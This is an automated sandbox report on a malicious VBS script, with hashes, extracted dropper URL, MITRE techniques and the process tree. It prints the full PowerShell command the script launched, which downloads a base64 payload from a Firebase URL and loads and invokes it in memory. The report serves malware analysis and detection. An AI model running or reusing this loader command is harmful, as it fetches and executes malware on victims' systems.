5ca72b40fba3400f16f4161942bf9bce3669a49c995e55fe560725915adb5516

Analysis

max time kernel
85s
max time network
120s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
24/05/2023, 01:31

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General

Target

6f71d0ec96daa79c7ba3655e06ff8cc3f6d59c5a9cf713a5e940d8b854923b74.vbs
Size

222KB
MD5

b239d8601aa55d184cf8bf44d18e7ffb
SHA1

e91823bdf6c822ef6e10cb010ff29f79ee32d158
SHA256

6f71d0ec96daa79c7ba3655e06ff8cc3f6d59c5a9cf713a5e940d8b854923b74
SHA512

0a90dcd0cbb9bf552f0169fd19c2d8ce370be5795b72fd431c02571c760238e9df6f1b80f6cb552e3a4e0a1286b1dfdda9b88e9b5493ffbd39bf57d9033c44ca
SSDEEP

768:XnHGdUBDCKtfYjE3Luo4+eaWTYFPk9Wai2d:XHGd+CKtfSo4+4YFNai2d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/tttttttt-e4b70.appspot.com/o/new_rump_vb.net.txt?alt=media&token=b27d42df-d877-4be0-ab6a-efe2fee3e2b3

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	1216	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1216	powershell.exe
1216	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1216	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3484 wrote to memory of 1216	3484	WScript.exe	85
PID 3484 wrote to memory of 1216	3484	WScript.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6f71d0ec96daa79c7ba3655e06ff8cc3f6d59c5a9cf713a5e940d8b854923b74.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/tttttttt-e4b70.appspot.com/o/new_rump_vb.net.txt?alt=media&token=b27d42df-d877-4be0-ab6a-efe2fee3e2b3'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.!}(ú░}↓*(▲☟@*⇝vgg↓*(▲☟@*⇝ssa↓*(▲☟@*⇝j4}�ø▶vjgsj∞*▲◀(piwso4}�ø▶∞*▲◀(v4*●*☞#:▶4(úø(@@*ú.0(úø(@@*ú](∞ú(.87](∞ú(.59](∞ú(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_spgyg1fy.wmt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1216-133-0x000001ABF5CD0000-0x000001ABF5CF2000-memory.dmp

Filesize
136KB

Download
memory/1216-143-0x000001ABF62F0000-0x000001ABF6300000-memory.dmp

Filesize
64KB

Download
memory/1216-144-0x000001ABF62F0000-0x000001ABF6300000-memory.dmp

Filesize
64KB

Download